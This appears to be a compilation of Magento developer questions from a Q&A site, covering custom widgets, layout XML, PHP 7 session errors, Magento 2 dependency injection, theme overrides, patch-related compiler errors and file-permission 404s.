widget.xml

 <company_widgetone_slideshow type="widgetone/slideshow" translate="name description">
    <name>Slideshow</name>
    <description type="desc">Description</description>
     <parameters>
     <text translate="label">
        <label>Text</label>
        <visible>1</visible>
        <type>widgetone/widget_wysiwyg</type>
    </text>
    </parameters>
</company_widgetone_slideshow>

My widget block

class Company_WidgetOne_Block_Widget_Wysiwyg extends Mage_Adminhtml_Block_Widget_Form_Renderer_Fieldset_Element {
public function render(Varien_Data_Form_Element_Abstract $element)
{

    Mage::log("block");
    $editor = new Varien_Data_Form_Element_Editor($element->getData());

    // Prevent foreach error
    $editor->getConfig()->setPlugins(array());

    $editor->setId($element->getId());
    $editor->setForm($element->getForm());

    $editor->setWysiwyg(true);
    $editor->setForceLoad(true);

    return parent::render($editor);
} }

If i try to override the magento Widget Model (as showen in the second link above)

class Company_WidgetOne_Model_Widget extends Mage_Widget_Model_Widget {
public function getWidgetDeclaration($type, $params = array(), $asIs = true)
{
    Mage::log($params);

    if( preg_match('~(^widgetone/slideshow)~', $type) )
    {
        $params['text'] = str_replace('"', "'", $params['text']);
    }

    return parent::getWidgetDeclaration($type, $params, $asIs);
}
}

The $params array is always empty ..

Also the post-parameter parameters[text]in the ajax call when saving the widget is empty

Please provide any possible idea you have to solve this issue

Thanks !!


texts:
I have a problem removing a block on the mobiletheme.

The issue is that the block is added by an cms page xml layout update which is already almost at the end.

I haven't found an observer to remove the block after the layout is loaded but not rendered. It's not working to use

<reference name="content">
<remove name="blockname"/>
</reference>

in the xml of the pagetype.


texts: Serialization of 'Mage_Core_Model_Config_Element' is not allowed in Session.php

texts:
Greetings StackOverflow.

Recently I have upgraded a Magento solution to PHP 7.0. I have used Inchoo PHP7 Compatibility module for core overrides that should make it "stable".

https://github.com/Inchoo/Inchoo_PHP7

Recently we have experienced an error with a checkout module, that throws the following error:

    2018/05/14 11:31:34 [error] 1523#0: *39856435 FastCGI sent in stderr: "PHP message: PHP Fatal error:  Uncaught Exception: Serialization of 'Mage_Core_Model_Config_Element' is not allowed in /var/www/www.mydomain.com/webfiles/releases/389/app/code/local/Mage/Core/Model/Resource/Session.php:99
Stack trace:
#0 /var/www/www.mydomain.com/webfiles/releases/389/app/code/local/Mage/Core/Model/Resource/Session.php(99): session_write_close()
#1 [internal function]: Mage_Core_Model_Resource_Session->__destruct()
#2 {main}
  thrown in /var/www/www.mydomain.com/webfiles/releases/389/app/code/local/Mage/Core/Model/Resource/Session.php on line 99" while reading upstream, client: 127.0.0.1, server: www.mydomain.eu, request: "GET /svm/svmPayment/redirect/ HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host: "www.mydomain.eu", referrer: "https://www.mydomain.eu/streamcheckout/"`

The following error is from PHP and NGINX LOGS.

If I simply out-comment or remove "session_write_close();" from the __desctruct function everything works as before.

But my question is does anything else depend on the __destructfunction that would break the rest of the functionality?


texts: "Add to Cart" ignores custom options when adding via reviews page

texts:
Any idea how to fix this? Would REALLY APPRECIATE

-

This happens on 1.9.1.1 and 1.9.2.0

1.9.2.0
Enter

https://www.airytea.com/buy-organic-black-tea/organic-traditional-jin-jun-mei-black-tea.html

Click Add to Cart, it will fail since you need to select an option, which is ok.

Now instead visit a review page

https://www.airytea.com/review/product/list/id/26/category/3/

Click add to cart. It will add item instantly without asking to select for option.

Expected Result:
Customer must be asked to fill required forms

Actual Result:
Customer can checkout without selecting MUST HAVE options, resulting in loss of data and lower order amount.

1.9.1

https://www.airyhair.com/clip-in-hair-extensions.html

Reviews:

https://www.airyhair.com/review/product/list/id/399/


texts: Magento 2 how to set constructor argument?

texts:
I am trying to find out how I can send constructor argument when calling class. This is what I tried:

     class Subscriber extends \Magento\Framework\Model\AbstractModel{
            protected $mailchimp;
            protected $phpmailer;
            ...
            public function __construct(
                \Vendorname\Modulename\Lib\Mailchimp $mailchimp,
                \Vendorname\Modulename\Lib\Phpmailer $phpmailer,
                ...
            ){
                parent::__construct($context,$registry);
                $this->mailchimp = $mailchimp('MY_API_KEY_GOES_HERE')
            }
            function subscribe(){
                $this->mailchimp->subscribe();
            }

Mailchimp class:

    namespace Vendorname\Modulename\Lib\Mailchimp;

    class Mailchimp
    {
        $private apiKey;
        public function __construct($apiKey=false)
        {

But it is giving me error Uncaught Error: Function name must be a string. What is a proper way to send argument?


texts: Magento 2 : How to keep the custom form fields filled in case of validation error Magento 2

texts: How to keep the custom form field filled values  in registration page. created one customer custom attribute from magento admin (input text field accountnumber). showing this attribute in frontend, but while doing create account given accountnumber , if we are getting any error , page is loading. First name , last name , mail id are still showing as expected. But i am unable to see custom attribute (accountnumber )value in form . Thanks in Advance.


texts: M2 altering bootstrap initial parameters

texts:
In index.php, there is a call to instantiate the Magento\Framework\App\Bootstrap object with $_SERVER as the initial parameters.

$bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $_SERVER);

We had a hack in the index.php (based on this gist) so that we could use the same URL for multiple stores and show different content based on the cookie settings.

$params = $_SERVER;
if (isset($_COOKIE[\Magento\Store\Model\StoreCookieManager::COOKIE_NAME])) {
    $storeCode = $_COOKIE[\Magento\Store\Model\StoreCookieManager::COOKIE_NAME];
}
if (isset($_GET[\Magento\Store\Api\StoreResolverInterface::PARAM_NAME])) {
    $storeCode = $_GET[\Magento\Store\Api\StoreResolverInterface::PARAM_NAME];
}
if (isset($storeCode)) {
    $params[\Magento\Store\Model\StoreManager::PARAM_RUN_CODE] = $storeCode;
    $params[\Magento\Store\Model\StoreManager::PARAM_RUN_TYPE] = 'store';
}
$bootstrap = \Magento\Framework\App\Bootstrap::create(BP, $params);

The problem is that we're now shifting to the Magento Commerce Cloud servers and the index.php is regenerated on build, so we can't rely on a change to the index.php anymore.

I've tried creating a module which adds a DI preference for my own version of the Bootstrap class (which contains the above code in the create method) instead of the Magento version, but this doesn't appear to be working - I suspect because it might be too early in the process for interceptors to be in play.

Does anyone have any insight into how to overcome this issue?


texts: Magento 2 - How to extend customer account creation template

texts:
I want to extend the customer account creation template (register.phtml) of the Luma theme.
I copied the register.phtml to my custom theme directory:

  \app\design\frontend\my\theme\module-customer\view\frontend\templates\

and modified it. After flushing the cache and refreshing the browser I can't see my changes.

What is wrong?

Is it always necessary to copy the template in a custom theme folder or is it also possible to copy it to the view folder of my custom module?

Thanks.

Marco


texts: magento get null value in $(pair.value) product_option.js

texts:
I have a problem in product_option.js
I have configurable product when I change the product option it will not show with changing amount, I already add product_option.js,
when I track the prototype I find in product_option.js
line number 128,

if ($(pair.value)) { ............. }

I get null value in $(pair.value)

I want, instead of null I get the value of total price with additionally amount.


texts: Migrating from Go to Community with multiple stores

texts:
I am migrating a store from Magento Go to Community. I've exported the customer and product databases.  My fields/ attributes are not the same as they were not managed by the same team. We are moving a UK-based site to be hosted on our US-based multisite installation.

I am asking for a best-practice other than column by column review of the csv.


texts: 500 error after apply SUPEE-10570 patch in magento 1.9.1.0 enabled complier

texts:
My magento version is ver. 1.9.1.0.

We saw a blank page at /checkout/cart after applying SUPEE-10570 and compiling. Just to clarify: With deactivated compiler all things went well, with activated compiler we only could see a blank cart page when logged in without any log entries (even after activating all possible logs and developer mode).

Cause:

the function getPasswordTimestamp will invoke two times when visit /checkout/cart.

disabled compiler both invocation work.

enable compiler only the first invocation work, second invocation failed.

can anyone explain the give the good solution?


texts: How can we avoid multiple magic function call in category page?

texts: Suppose in category page there are 24 products,so you will call the $product->getName() for all 24 products,and we know that for magic function,firstly it will search in this class after that its parent classes and then it will go for the magic function,so with this call we are losing our precious milliseconds,is there any way in magento to avoid magic function except directly calling $product->getData('name')?


texts:
We are using Magento CE 1.7.02 with 2 stores (wholesale and retailer) and we got a request from the client to assign roles for the sales team.
The problem is that every sales user is able to see other's users sales.

Is there a plugin, or module that could give each user independent profile, so they can't see any other order than the one the created and don't see the overall sales report for that store?

I have been searching without luck.  Any help would be great.

Thanks


texts: Delays due to new Magento Extension Quality Program?

texts:
Magento extension submission guidelines do not mention Tech QA as a mandatory step.
However, since yesterday I see following notice on extension review page on Magento Marketplace:

"As part of the Extension Quality Program we have added an automated production installation test and additional manual QA. With these new checks, we will need some time to properly evaluate all existing extensions first. This means that there are delays in our technical review process. We will be sure to notify you when all re-testing is complete."

This notice started appearing since yesterday only.
Does it mean Magento will make much more delays for publishing an extension?
Does anybody know how much time Magento will take if we want to publish a new extension?


texts: How to solve REST API with oAuth 1.0 Return 404 error in Magento 1.9.2.3?

texts:
Workout:

Version : Magento  1.9.2.3

Created Rest oAuth Consumer
oAuth 1.0 installed in Server
Got the Token Key, Token secret using Consumer key & Consumer secret which created in step 1

Note : I am using CDN

POSTMAN:


texts: Magento easy way to show out of stock in configurable product (greyed out)

texts:
this may be a simple question for some - but we havent used stock extensions before.

My question: how can we easily, simply, add the ability to - instead of hiding out of stock simple products (as part of a configurable product) - show out of stock simple products with the addition of "- out of stock" & maybe greyed out in the drop down.

For example:

We sell T-shirts in sizes S, M, L. And for instance L is sold out.

Instead of only showing S, M (in config product)

Showing S, M, L - out of stock (in config product, and out of stock in grey)


texts:
I deleted the file in my ftp but it is still being loaded on every page at the end of the body tag

<script type="text/javascript" id="cookieinfo"
    src="/media/js/cookieinfo.min.js">
</script>

Would the method to removing it be placing this text in the page.xml file?

<cms_index_index>
    <reference name="head">
        <action method="removeItem"><script>media/js/cookieinfo.min.js</script></action>
    </reference>
</cms_index_index>


texts: How to install n98-magerun on a docker container

texts:
I have a Magento 1.7 version running on a container, and I would like to use n98-magerun.

How can install n98-magerun when using a Dockerfile and not docker-compose?


texts: Magento : Fatal error: Call to a member function getUser() on a non-object

texts:
I can' t log in anymore. It show

Fatal error: Call to a member function getUser() on a non-object in /usr/www/users/x/app/code/core/Mage/Admin/Model/Observer.php on line 55

This is on line 55:
$user = $session->getUser();

Can anyone help me?

Best,
Mark


texts: 404 after running setup:di:compile, need to always run chown -R root:www-data . afterwards

texts:
I have noticed that from time to time my Magento installation shows 404 on all pages. Panic!
After doing some research I found out that running:
chown -R root:www-data . in the document folder solved the problem temporarily.
Until the next day and the problem is back.
I have since then been able to recreate the problem with that if I run:
php bin/magento setup:di:compile
it crashes and requires me to run the: chown -R root:www-data .
to fix the problem.
Why is this? Why do I always get these errors?
The error log shows problems with the cache folder:

`#0
/var/www/html/vendor/magento/zendframework1/library/Zend/Cache/Backend/File.php(180):
Zend_Cache::throwException('cache_dir "/var...')
1 /var/www/html/vendor/colinmollenhour/cache-backend-file/File.php(87):
Zend_Cache_Backend_File->setCacheDir('/var/www/html/v...')
2 /var/www/html/vendor/magento/zendframework1/library/Zend/Cache.php(153):
Cm_Cache_Backend_File->__construct(Array)
3 /var/www/html/vendor/magento/zendframework1/library/Zend/Cache.php(94):
Zend_Cache::_makeBackend('Cm_Cache_Backen...', Array, true, true)
4 /var/www/html/vendor/magento/framework/App/Cache/Frontend/Factory.php(156):
Zend_Cache::factory('Magento\Framewo...', 'Cm_Cache_Backen...',
Array, Array, true, true, true)
5 /var/www/html/vendor/magento/framework/Cache/Frontend/Adapter/Zend.php(38):
Magento\Framework\App\Cache\Fronte" while reading response header from
upstream, client: 172.68.182.104, server: _, request: "GET /
HTTP/1.1", upstream: "fastcgi://127.0.0.1:9000", host:
"www.kickacc.se" ^C`